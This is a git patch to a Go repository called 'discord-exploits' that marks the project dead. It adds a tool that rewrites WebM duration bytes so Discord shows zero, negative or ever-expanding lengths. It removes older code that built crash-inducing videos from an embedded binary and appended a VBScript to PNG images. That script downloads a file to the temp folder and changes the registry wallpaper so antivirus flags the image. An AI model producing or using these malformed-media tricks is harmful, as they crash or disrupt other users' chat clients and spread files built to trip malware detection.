From e748fc65b54e6e61dd7e22a1ba33f77c8378fae9 Mon Sep 17 00:00:00 2001 From: schmenn Date: Fri, 27 Aug 2021 16:15:28 +0200 Subject: [PATCH] Kill Project --- README.md | 7 ++ discord-exploits.go | 125 ++++++++++++++++++++++ exploits.go | 201 ------------------------------------ exploits/crash-video.go | 34 ------ exploits/crash.bin | Bin 22953 -> 0 bytes exploits/expanding-video.go | 38 ------- exploits/negative-video.go | 39 ------- exploits/twice.go | 27 ----- exploits/twice.ogg | Bin 19121 -> 0 bytes exploits/virus-image.go | 29 ------ exploits/virus1.txt | 10 -- exploits/virus2.txt | 9 -- exploits/zero-video.go | 39 ------- go.mod | 16 ++- go.sum | 20 ++++ modules/error.go | 8 -- modules/ffmpeg-check.go | 18 ---- modules/help.go | 30 ------ modules/name.go | 17 --- modules/transcode.go | 30 ------ modules/welcome.go | 18 ---- 21 files changed, 166 insertions(+), 549 deletions(-) create mode 100644 discord-exploits.go delete mode 100644 exploits.go delete mode 100644 exploits/crash-video.go delete mode 100644 exploits/crash.bin delete mode 100644 exploits/expanding-video.go delete mode 100644 exploits/negative-video.go delete mode 100644 exploits/twice.go delete mode 100644 exploits/twice.ogg delete mode 100644 exploits/virus-image.go delete mode 100644 exploits/virus1.txt delete mode 100644 exploits/virus2.txt delete mode 100644 exploits/zero-video.go create mode 100644 go.sum delete mode 100644 modules/error.go delete mode 100644 modules/ffmpeg-check.go delete mode 100644 modules/help.go delete mode 100644 modules/name.go delete mode 100644 modules/transcode.go delete mode 100644 modules/welcome.go diff --git a/README.md b/README.md index c682332..62b6eb4 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,10 @@ +# DISCLAIMER: THIS PROJECT IS DEAD + +### not only do half of the features not work, but ever since SomeOrdinaryGamers made his [youtube video](https://youtu.be/smNuREXq5wc?t=524) where he quickly glances over this repository, a lot of his viewers joined the discord server asking a lot of unnecessary and stupid questions that could've easily been answered if they just took a look at this readme or if they just straight up ignored this repository. This repository is being archived and most likely deleted in the future as it does not serve a purpose other than attracting script kiddies at this point. I have pushed new code that only does the webm duration mods and is generally more well-written. + +

+ + [![GitHub stars](https://img.shields.io/github/stars/Schmenn/discord-exploits?color=FFFFFF&label=stars&style=flat-square)](https://github.com/Schmenn/discord-exploits/stargazers) ![GitHub code size in bytes](https://img.shields.io/github/languages/code-size/Schmenn/discord-exploits?color=FFFFFF&style=flat-square) ![GitHub issues](https://img.shields.io/github/issues/Schmenn/discord-exploits?color=FFFFFF&style=flat-square) diff --git a/discord-exploits.go b/discord-exploits.go new file mode 100644 index 0000000..6b9ec21 --- /dev/null +++ b/discord-exploits.go @@ -0,0 +1,125 @@ +package main + +import ( + "bytes" + "flag" + "math/rand" + "os" + "path/filepath" + "strings" + "time" + + "github.com/fatih/color" + "github.com/gabriel-vasile/mimetype" +) + +var ( + mode string + inputFile string + outputFile string + + done = make(chan response, 1) + logRed = color.New(color.FgHiRed) + logGreen = color.New(color.FgHiGreen) +) + +type response int + +const ( + responseWrongFileType response = iota + responseFileNotExist + responseUnknownError + responseDone +) + +func init() { + flag.StringVar(&mode, "m", "", "mode you want to use") + flag.StringVar(&inputFile, "i", "", "input file") + flag.StringVar(&outputFile, "o", "", "output file, will be random if its not set") + + flag.Parse() + flag.CommandLine.SetOutput(os.Stdout) + flag.Usage = func() { + _, file := filepath.Split(os.Args[0]) + logRed.Fprintf(flag.CommandLine.Output(), "Usage of %s:\n", file) + flag.PrintDefaults() + } + if mode == "" { + flag.Usage() + os.Exit(0) + } + if inputFile == "" { + if flag.Arg(0) == "" { + flag.Usage() + os.Exit(0) + } + inputFile = flag.Arg(0) + } + if outputFile == "" { + outputFile = createName() + } + + mimetype.SetLimit(2 >> 15) +} + +func main() { + switch strings.ToLower(mode) { + case "z", "0", "zero": + webm([]byte{0, 0, 0, 0, 0, 0, 0, 0}) + case "n", "-", "negative": + webm([]byte{66, 255, 176, 96, 0, 0, 0, 0}) + case "e", "+", "expanding": + webm([]byte{63, 240, 0, 0, 0, 0, 0, 0}) + + default: + logRed.Println("Wrong mode!") + } + + switch <-done { + case responseWrongFileType: + logRed.Println("Wrong File Type") + case responseFileNotExist: + logRed.Println("File Not Found") + case responseDone: + logGreen.Printf("Done, saved to %s", outputFile) + } + time.Sleep(time.Second * 5) +} + +func webm(change []byte) { + b, err := os.ReadFile(inputFile) + if err != nil { + logRed.Sprintln("File could not be opened") + done <- responseFileNotExist + return + } + + mime := mimetype.Detect(b).String() + if mime != "video/webm" && mime != "video/x-matroska" { + done <- responseWrongFileType + } + + index := bytes.Index(b, []byte("\x44\x89\x88")) + if index == -1 { + done <- responseUnknownError + return + } + + if filepath.Ext(outputFile) == "" { + outputFile = outputFile + ".webm" + } + + os.WriteFile(outputFile, bytes.Replace(b, b[index+3:index+10], change, 1), 0o777) + + done <- responseDone +} + +func createName() string { + charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + b := make([]byte, 8) + rand.Seed(time.Now().UnixNano()) + for i := range b { + b[i] = charset[rand.Intn(len(charset))] + } + return string(b) +} diff --git a/exploits.go b/exploits.go deleted file mode 100644 index a167ac4..0000000 --- a/exploits.go +++ /dev/null @@ -1,201 +0,0 @@ -package main - -import ( - "fmt" - "github.com/Schmenn/discord-exploits/exploits" - "github.com/Schmenn/discord-exploits/modules" - "os" - "strings" - "path/filepath" -) - -var ( - quiet bool = false - inputFile string = "no input file provided" - mode string = "no mode specified" -) - -func main() { - - args := os.Args[1:] - handleArgs(args, &quiet) - if !quiet { - modules.Welcome() - } - - fmt.Println("input file: " + inputFile) - fmt.Println("mode: " + mode) - - initCommand(inputFile, mode) - -} - -func handleArgs(args []string, quiet *bool) { - - for i, s := range args { - switch s { - // Quiet - case "-q", "--quiet": - *quiet = true - - // Input File - case "-i": - absPath, err := filepath.Abs(args[i+1]) - if err != nil { - absPath = args[i+1] - } - inputFile = filepath.FromSlash(absPath) - - // Mode Selection - case "-m": - mode = args[i+1] - - // Help Message - case "-h": - modules.Help(os.Args[0]) - *quiet = true - return - - default: - break - } - } - -} - -func initCommand(inputFile string, mode string) { - if strings.HasSuffix(inputFile, ".webm") { - - switch mode { - case "e": - fmt.Println("editing video.") - exploits.RunExpandingVideoTask(inputFile) - fmt.Println("completed task.") - - case "n": - fmt.Println("editing video.") - exploits.RunNegativeVideoTask(inputFile) - fmt.Println("completed task.") - - case "0", "z": - fmt.Println("editing video.") - exploits.RunZeroVideoTask(inputFile) - fmt.Println("completed task.") - - case "c": - fmt.Println("transcoding video from webm to mp4") - out := modules.Transcode(inputFile, "mp4") - fmt.Println("finished transcoding video from webm to mp4") - fmt.Println("editing video.") - exploits.RunCrashVideoTask(out) - fmt.Println("completed task.") - os.Remove(out) - - default: - fmt.Println("the mode doesn't match the file") - } - - } else if strings.HasSuffix(inputFile, ".mp4") { - - switch mode { - case "e": - fmt.Println("transcoding video from mp4 to webm") - out := modules.Transcode(inputFile, "webm") - fmt.Println("finished transcoding video from mp4 to webm") - fmt.Println("editing video.") - exploits.RunExpandingVideoTask(out) - fmt.Println("completed task.") - os.Remove(out) - - case "n": - fmt.Println("transcoding video from mp4 to webm") - out := modules.Transcode(inputFile, "webm") - fmt.Println("finished transcoding video from mp4 to webm") - fmt.Println("editing video.") - exploits.RunNegativeVideoTask(out) - fmt.Println("completed task.") - os.Remove(out) - - case "0", "z": - fmt.Println("transcoding video from mp4 to webm") - out := modules.Transcode(inputFile, "webm") - fmt.Println("finished transcoding video from mp4 to webm") - fmt.Println("editing video.") - exploits.RunZeroVideoTask(out) - fmt.Println("completed task.") - os.Remove(out) - - case "c": - fmt.Println("editing video.") - exploits.RunCrashVideoTask(inputFile) - fmt.Println("completed task.") - - default: - fmt.Println("the mode doesn't match the file") - } - - } else if strings.HasSuffix(inputFile, ".png") { - fmt.Println("editing photo.") - exploits.RunVirusImageTask(inputFile) - fmt.Println("completed task.") - - } else if strings.HasSuffix(inputFile, ".jpg") { - fmt.Println("transcoding image from jpg to png") - out := modules.Transcode(inputFile, "png") - fmt.Println("finished transcoding image from jpg to png") - fmt.Println("editing photo.") - exploits.RunVirusImageTask(out) - fmt.Println("completed task.") - os.Remove(out) - - } else if strings.HasSuffix(inputFile, ".jpeg") { - if strings.ToLower(mode) != "v" || strings.ToLower(mode) == "no mode specified" { - fmt.Println("the mode is not compatible with the image, proceeding to run the virus image task anyway") - } - fmt.Println("transcoding image from jpeg to png") - out := modules.Transcode(inputFile, "png") - fmt.Println("finished transcoding image from jpeg to png") - fmt.Println("editing photo.") - exploits.RunVirusImageTask(out) - fmt.Println("completed task.") - os.Remove(out) - - } else if strings.HasSuffix(inputFile, ".ogg") { - if strings.ToLower(mode) != "t" || strings.ToLower(mode) == "no mode specified" { - fmt.Println("the mode is not compatible with the audio file, proceeding to run the play-twice task anyway") - } - fmt.Println("editing audio.") - exploits.RunTwiceAudioTask(inputFile) - fmt.Println("completed task.") - - } else if strings.HasSuffix(inputFile, ".mp3") { - if strings.ToLower(mode) != "t" || strings.ToLower(mode) == "no mode specified" { - fmt.Println("the mode is not compatible with the audio file, proceeding to run the play-twice task anyway") - } - fmt.Println("transcoding audio from mp3 to ogg") - out := modules.Transcode(inputFile, "ogg") - fmt.Println("finished transcoding audio from mp3 to ogg") - fmt.Println("editing audio.") - exploits.RunTwiceAudioTask(out) - fmt.Println("completed task.") - os.Remove(out) - - } else if strings.HasSuffix(inputFile, ".m4a") { - if strings.ToLower(mode) != "t" || strings.ToLower(mode) == "no mode specified" { - fmt.Println("the mode is not compatible with the audio file, proceeding to run the play-twice task anyway") - } - fmt.Println("transcoding audio from m4a to ogg") - out := modules.Transcode(inputFile, "ogg") - fmt.Println("finished transcoding audio from m4a to ogg") - fmt.Println("editing audio.") - exploits.RunTwiceAudioTask(out) - fmt.Println("completed task.") - os.Remove(out) - - } else if inputFile == "no input file provided" { - return - - } else { - fmt.Println("incompatible input file") - } -} diff --git a/exploits/crash-video.go b/exploits/crash-video.go deleted file mode 100644 index 51fd53b..0000000 --- a/exploits/crash-video.go +++ /dev/null @@ -1,34 +0,0 @@ -package exploits - -import ( - _ "embed" // embed - "fmt" - "os" - "os/exec" - - "github.com/Schmenn/discord-exploits/modules" -) - -//go:embed crash.bin -var bin []byte - -// RunCrashVideoTask takes the input file and makes a video from it that when played crashes discord -func RunCrashVideoTask(filename string) { - binname := modules.CreateName("bin") - outname := modules.CreateName("mp4") - txtname := modules.CreateName("txt") - err := os.WriteFile(txtname, []byte(`file '`+filename+`'`+"\n"+`file '`+binname+`'`), 0777) - modules.Check(err) - err = os.WriteFile(binname, bin, 0777) - modules.Check(err) - modules.CheckForFFmpeg() - cmd := exec.Command("ffmpeg", "-f", "concat", "-safe", "0", "-i", txtname, "-y", "-c", "copy", outname) - err = cmd.Run() - modules.Check(err) - - err = os.Remove(binname) - modules.Check(err) - err = os.Remove(txtname) - modules.Check(err) - fmt.Println("Saved video to: " + outname) -} diff --git a/exploits/crash.bin b/exploits/crash.bin deleted file mode 100644 index 61b44ddbb927d7c27ebc14962c284b2571706883..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 22953 zcmeHP3v?4z`oC%Vl42h~=>rNwTS{AKo3!Z@0_g)N6_oc&AWf4g4J1uS0xh6x#3IN; z3KmpeMFf?K+SO&TKzEC>ScTmMR4gv|2N9Ns2VLav;t}coZjxzlyDqRy&)FVM=Jc1j z^UZzC{oQ-N@0)LCN(kYKZ41qMtI0@+2cdf)S+hVZH<}f4LWpm%h35%T)f#mg8}hvE z?bX~|b9(sY`irOX_ih-}#GQ(|_FZ{$nu1Hgh{jyD-J zrHLlX>?GPsVu{UYKpvCXrZ<&ZvpB7$NTXGvNxoQ_!s+-TgGoDADbJE+$v91^#<0-J zD`n*=S+a7uJcTpz$`Zbuv(7IXG8s#XVwrEOc z^GbOdr!BFVj2bnH$~l{bHyHF*q%z7gbXpq{+IdE$440tMEi#qz%4GQt~nPig3fty%~dq34t+0U7C3qe>$4PPKe|pzr2DZHQ)X* z?q-iKDw?-8|E#W=doFxm1|d@6@36{|@_Lr;d=Jpyo-fhg{6fcxmW=L1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!oRfui|3n+E&oM&7YUlJsN4>o6!5joD0VY}pd@&KQ3GT{e>m(g^&E WWm*ZXkp45%V*E2xMJoMgrvCyn+L{dj diff --git a/exploits/expanding-video.go b/exploits/expanding-video.go deleted file mode 100644 index 36ef2a7..0000000 --- a/exploits/expanding-video.go +++ /dev/null @@ -1,38 +0,0 @@ -package exploits - -import ( - "bytes" - "fmt" - "github.com/Schmenn/discord-exploits/modules" - "os" -) - -// RunExpandingVideoTask edits file so that it keeps expanding while it's getting played -func RunExpandingVideoTask(fileName string) { - - data, err := os.ReadFile(fileName) - modules.Check(err) - index := bytes.Index(data, []byte("\x44\x89\x88")) - if index == -1 { - fmt.Println("could not find the part of the file that needs to be modified, exiting") - return - } - - data[index+3] = 63 - data[index+4] = 240 - data[index+5] = 0 - data[index+6] = 0 - data[index+7] = 0 - data[index+8] = 0 - data[index+9] = 0 - data[index+10] = 0 - - name := modules.CreateName("webm") - - fmt.Println("Saved video to: " + name) - - err = os.WriteFile(name, data, os.FileMode(0777)) - if err != nil { - panic(err) - } -} diff --git a/exploits/negative-video.go b/exploits/negative-video.go deleted file mode 100644 index 5867326..0000000 --- a/exploits/negative-video.go +++ /dev/null @@ -1,39 +0,0 @@ -package exploits - -import ( - "bytes" - "fmt" - "github.com/Schmenn/discord-exploits/modules" - "os" -) - -// RunNegativeVideoTask edits file so it has got a huge negative duration -func RunNegativeVideoTask(fileName string) { - - data, err := os.ReadFile(fileName) - modules.Check(err) - index := bytes.Index(data, []byte("\x44\x89\x88")) - if index == -1 { - fmt.Println("could not find the part of the file that needs to be modified, exiting") - fmt.Println("are you sure the file is actually a webm?") - return - } - - data[index+3] = 66 - data[index+4] = 255 - data[index+5] = 176 - data[index+6] = 96 - data[index+7] = 0 - data[index+8] = 0 - data[index+9] = 0 - data[index+10] = 0 - - name := modules.CreateName("webm") - - fmt.Println("Saved video to: " + name) - - err = os.WriteFile(name, data, os.FileMode(0777)) - if err != nil { - panic(err) - } -} diff --git a/exploits/twice.go b/exploits/twice.go deleted file mode 100644 index 9be1942..0000000 --- a/exploits/twice.go +++ /dev/null @@ -1,27 +0,0 @@ -package exploits - -import ( - _ "embed" // embed - "fmt" - "github.com/Schmenn/discord-exploits/modules" - "os" -) - -//go:embed twice.ogg -var twiceOgg []byte - -// RunTwiceAudioTask edits audio file so it plays a different track when played again -func RunTwiceAudioTask(fileName string) { - data, err := os.ReadFile(fileName) - modules.Check(err) - - twice := append(twiceOgg, data...) - - name := modules.CreateName("ogg") - fmt.Println("Saved video to: " + name) - - err = os.WriteFile(name, twice, os.FileMode(0777)) - if err != nil { - panic(err) - } -} diff --git a/exploits/twice.ogg b/exploits/twice.ogg deleted file mode 100644 index 2ed25b41ec517fb48dfa75fe5778d82470d6a186..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 19121 zcmeHu2UHZz(&+4xqYILg3oKy)k+5XN1xZVmB%pvq$&wWjSrCw%BuGXi2uPA7AVENK z&PWo;89`7$;0^lS`~Ua;=lu7)bN_eFJMY=2XQsNlx_Y|0ySl1pO5@%=Z2$`V6~YXE z1CJsGT_7wFkNYlWHm>JcP`NjMp&b2wzJq9-*Zg}puL%KDa$8c?FsZYD2p@2M6XFHS z^=+K2`88bb!R>9#^nQ_tW8gvpfW@^4F^XXCl^asOGh{4Ic*5u@2ae_H}pXA z5P;5H2dR*#HK-g+?;0zpkZ2a89GvY>Bde6^N~N7AF_vQYrn&;|4`a~QMB*iCMQGX3 zn@62PFcl1k8>J*ysyXa7=ELXm`78dBVo(`5ro(lmoN_eBOuf( z0iyi6<T_G`JkaqVa2F2G8-Ia$viF};_{l!kO@O)uh?QoS-bo-Ck=6Y2zRt^Kka@DS3RSjz0 zkvOBq6{UzQrI0M8h{MXQ5DCl#P^T3_-1)1{&nfXN`lU+H}(l9f}wun3V?Rrhozl!|7 zCU_J8^hYywL^FXC90LN7U)%-P0u*o}ZHodYJvih4>Z8UtkfBBcc>j3-06+lIti`A3 zio(R|s8r~vRp_Wt>uTu!t01B_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upO>XqS{kn4xEd-Ec;7sL# z8WNuzA_z<_dQKO|+i86FFRaWiH!+DHS^37G{K}Xi48j-YL}3`0-`?W%$~p)Z4H(n2 z^vsVtJ|N?h%DAtsYWWZqXeD^kn#=2%}^`6ZJC(yW17uDWbgFRU2i>sdgkGz z*@%(j&Zk3MiYJOrH48q^jczn^&llNHi<#}H3{v)4ra*rh(5yR?is;X^N;S%70mdEE zLmo-B1|D4BnvE$3ZvA6&8P9<<+ajR%RMDO^f)mPx2a{!wPEJ4=96onuq75{NddY0O zkBQj0)~#2vDf3e!V}dd78MMe?Au_+OzB)D}Nks9@n-ua|_-)7b2MG^ro73J1xtLo# zx7_)n>^z-7B8K2rg_RB#r1~)~v}@|TCaaWFGNP2v0(G3tuR^_BstVJv8b!y*1ZR(X zLTiEjo~%U8l>7#)64%rLQ-8TAC1Ro&N=yu=#6-}Py`yXP2LXPIe2Oo~N4KI6BX2y= zx+OM5Sh-0D1QK!Y%_>iMEw1?03AS|?R1i0nm!)bDRD>4J6?hBnQV%2~hkKPoJQ(@- zT0f9sDPh%h&}J%Gw(5gc_NmfXkQqeG%-Y!>I@6xIo>&Co4X{>f~cKDR8;IS6rqrUpkYwwaKPMs&2>{II`>%9&xR3=y5 zAMv`eN_pI-Tih6W?}7I5z@_9*{Od+*&m4LrcS|)Jp~meeUa?ZzfSBgr0Qff|_+S4n z-PLIDmOA*pH66@ip0aS8V6KSNwqGY7 z=f@Y1O@1F@WS#~1{o{|?*xKJEz(4+|{m0z6-d~p7Z*%YbYh9zM(bGTPwST;8K^K5O-nDY+w<6ZkN81$$3|4|NL!JoAMc-Q{%uKnX(`^UTXf5Nf&-*UkH<6Zmzk9RHb N-+I?({cn5M{x7tV25A5Q diff --git a/exploits/virus-image.go b/exploits/virus-image.go deleted file mode 100644 index bd05608..0000000 --- a/exploits/virus-image.go +++ /dev/null @@ -1,29 +0,0 @@ -package exploits - -import ( - _ "embed" // embed - "fmt" - "github.com/Schmenn/discord-exploits/modules" - "os" -) - -var ( - //go:embed virus1.txt - vpng1 []byte - //go:embed virus2.txt - vpng2 []byte - vpng = append(vpng1, vpng2...) -) - -// RunVirusImageTask edits file -func RunVirusImageTask(fileName string) { - data, err := os.ReadFile(fileName) - modules.Check(err) - data = append(data, vpng...) - name := modules.CreateName("png") - fmt.Println("Saved video to: " + name) - err = os.WriteFile(name, data, os.FileMode(0777)) - if err != nil { - panic(err) - } -} diff --git a/exploits/virus1.txt b/exploits/virus1.txt deleted file mode 100644 index 50bd5cf..0000000 --- a/exploits/virus1.txt +++ /dev/null @@ -1,10 +0,0 @@ -Set objShell = CreateObject("WScript.Shell") -Set objEnv = objShell.Environment("User") - -strDirectory = objShell.ExpandEnvironmentStrings("%temp%") - -dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") -dim bStrm: Set bStrm = createobject("Adodb.Stream") -xHttp.Open "GET", "https://cdn.discordapp.com/emojis/681577625394872370.png?v=1", False -xHttp.Send - diff --git a/exploits/virus2.txt b/exploits/virus2.txt deleted file mode 100644 index 9745ab5..0000000 --- a/exploits/virus2.txt +++ /dev/null @@ -1,9 +0,0 @@ -with bStrm - .type = 1 '//binary - .open - .write xHttp.responseBody - .savetofile strDirectory + "\myImage.png", 2 '//overwrite -end with - -objShell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", strDirectory + "\myImage.png" -objShell.Run "%windir%\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True diff --git a/exploits/zero-video.go b/exploits/zero-video.go deleted file mode 100644 index 96f1c0f..0000000 --- a/exploits/zero-video.go +++ /dev/null @@ -1,39 +0,0 @@ -package exploits - -import ( - "bytes" - "fmt" - "github.com/Schmenn/discord-exploits/modules" - "os" -) - -// RunZeroVideoTask edits file so it has got a duration of 0 -func RunZeroVideoTask(fileName string) { - - data, err := os.ReadFile(fileName) - modules.Check(err) - index := bytes.Index(data, []byte("\x44\x89\x88")) - if index == -1 { - fmt.Println("could not find the part of the file that needs to be modified, exiting") - fmt.Println("are you sure the file is actually a webm?") - return - } - - data[index+3] = 0 - data[index+4] = 0 - data[index+5] = 0 - data[index+6] = 0 - data[index+7] = 0 - data[index+8] = 0 - data[index+9] = 0 - data[index+10] = 0 - - name := modules.CreateName("webm") - - fmt.Println("Saved video to: "+name) - - err = os.WriteFile(name, data, os.FileMode(0777)) - if err != nil { - panic(err) - } -} diff --git a/go.mod b/go.mod index 822508a..f9ae4ab 100644 --- a/go.mod +++ b/go.mod @@ -1,3 +1,15 @@ -module github.com/Schmenn/discord-exploits +module github.com/schmenn/discord-exploits -go 1.16 +go 1.17 + +require ( + github.com/fatih/color v1.12.0 + github.com/gabriel-vasile/mimetype v1.3.1 +) + +require ( + github.com/mattn/go-colorable v0.1.8 // indirect + github.com/mattn/go-isatty v0.0.13 // indirect + golang.org/x/net v0.0.0-20210505024714-0287a6fb4125 // indirect + golang.org/x/sys v0.0.0-20210423082822-04245dca01da // indirect +) diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..74d9e2d --- /dev/null +++ b/go.sum @@ -0,0 +1,20 @@ +github.com/fatih/color v1.12.0 h1:mRhaKNwANqRgUBGKmnI5ZxEk7QXmjQeCcuYFMX2bfcc= +github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM= +github.com/gabriel-vasile/mimetype v1.3.1 h1:qevA6c2MtE1RorlScnixeG0VA1H4xrXyhyX3oWBynNQ= +github.com/gabriel-vasile/mimetype v1.3.1/go.mod h1:fA8fi6KUiG7MgQQ+mEWotXoEOvmxRtOJlERCzSmRvr8= +github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8= +github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= +github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY= +github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= +github.com/mattn/go-isatty v0.0.13 h1:qdl+GuBjcsKKDco5BsxPJlId98mSWNKqYA+Co0SC1yA= +github.com/mattn/go-isatty v0.0.13/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= +golang.org/x/net v0.0.0-20210505024714-0287a6fb4125 h1:Ugb8sMTWuWRC3+sz5WeN/4kejDx9BvIwnPUiJBjJE+8= +golang.org/x/net v0.0.0-20210505024714-0287a6fb4125/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210423082822-04245dca01da h1:b3NXsE2LusjYGGjL5bxEVZZORm/YEFFrWFjR8eFrw/c= +golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= diff --git a/modules/error.go b/modules/error.go deleted file mode 100644 index 9f81e69..0000000 --- a/modules/error.go +++ /dev/null @@ -1,8 +0,0 @@ -package modules - -// Check Error Handling -func Check(e error) { - if e != nil { - panic(e) - } -} diff --git a/modules/ffmpeg-check.go b/modules/ffmpeg-check.go deleted file mode 100644 index fe0f9e7..0000000 --- a/modules/ffmpeg-check.go +++ /dev/null @@ -1,18 +0,0 @@ -package modules - -import ( - "fmt" - "os" - "os/exec" -) - -// CheckForFFmpeg looks for ffmpeg in the path -func CheckForFFmpeg() (string) { - path, err := exec.LookPath("ffmpeg") - - if err != nil { - fmt.Println("Could not find FFmpeg, maybe you don't have it installed or on your PATH") - os.Exit(1) - } - return path -} diff --git a/modules/help.go b/modules/help.go deleted file mode 100644 index 80fdf29..0000000 --- a/modules/help.go +++ /dev/null @@ -1,30 +0,0 @@ -package modules - -import ( - "fmt" -) - -//Help program usage -func Help(progName string) { - fmt.Println("Discord-Exploits Help") - fmt.Println(" Usage: " + progName + " -i -m [-q]") - fmt.Println("") - fmt.Println("--quiet -q don't show welcome screen") - fmt.Println("-i provide input file") - fmt.Println("-m specify mode") - fmt.Println("") - fmt.Println("modes:") - fmt.Println(" video:") - fmt.Println(" e takes input video (.webm or .mp4) and edits it so discord will keep making it longer") - fmt.Println(" n takes input video (.webm or .mp4) and edits it so discord will think it has got a huge negative duration") - fmt.Println(" z, 0 takes input video (.webm or .mp4) and edits it so discord will think it has got a 0s duration") - fmt.Println(" c takes input video (.webm or .mp4) and edits it so discord will crash when you play it to the end (only works on some PCs)") - fmt.Println(" image:") - fmt.Println(" v takes an image (.png, .jpg or .jpeg) and makes other users' windows defender think it's a virus") - fmt.Println(" audio:") - fmt.Println(" t takes an audio file (.ogg, .m4a or .mp3) and edits it so discord will play a second audio track when you replay it.") - fmt.Println("") - fmt.Println("the following file formats require ffmpeg: .mp4, .jpg, .jpeg, .ogg, .m4a and .mp3") - fmt.Println("") - -} diff --git a/modules/name.go b/modules/name.go deleted file mode 100644 index 8a4c852..0000000 --- a/modules/name.go +++ /dev/null @@ -1,17 +0,0 @@ -package modules - -import ( - "math/rand" - "time" -) - -// CreateName generates a random file name -func CreateName(extension string) string { - charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" - b := make([]byte, 8) - rand.Seed(time.Now().UnixNano()) - for i := range b { - b[i] = charset[rand.Intn(len(charset))] - } - return string(b) + "." + extension -} diff --git a/modules/transcode.go b/modules/transcode.go deleted file mode 100644 index deae91c..0000000 --- a/modules/transcode.go +++ /dev/null @@ -1,30 +0,0 @@ -package modules - -import ( - "fmt" - "os/exec" - "strings" -) - -//Transcode transcodes videos and images -func Transcode(input string, to string) string { - path := CheckForFFmpeg() - output := CreateName(to) - - if strings.HasSuffix(input, ".ogg") || strings.HasSuffix(input, ".mp3") || strings.HasSuffix(input, ".m4a") { - _, err := exec.Command(path, "-i", input, "-ar", "44100", "-y", "-c:a", "libvorbis", output).CombinedOutput() - Check(err) - - fmt.Println("temporarily saving transcoded file to " + output) - - return output - } - - _, err := exec.Command(path, "-i", input, output).CombinedOutput() - - Check(err) - - fmt.Println("temporarily saving transcoded file to " + output) - - return output -} diff --git a/modules/welcome.go b/modules/welcome.go deleted file mode 100644 index 8d5d303..0000000 --- a/modules/welcome.go +++ /dev/null @@ -1,18 +0,0 @@ -package modules - -import ( - "fmt" -) - -//Welcome greets the user on startup -func Welcome() { - fmt.Println("Discord Exploits --- made by Schmenn") - fmt.Println(" _ _ _") - fmt.Println(" | | (_) |") - fmt.Println(" _____ ___ __ | | ___ _| |_ ___") - fmt.Println(" / _ \\ \\/ / '_ \\| |/ _ \\| | __/ __|") - fmt.Println(" | __/> <| |_) | | (_) | | |_\\__ \\") - fmt.Println(" \\___/_/\\_\\ .__/|_|\\___/|_|\\__|___/") - fmt.Println(" | |") - fmt.Println(" |_|") -}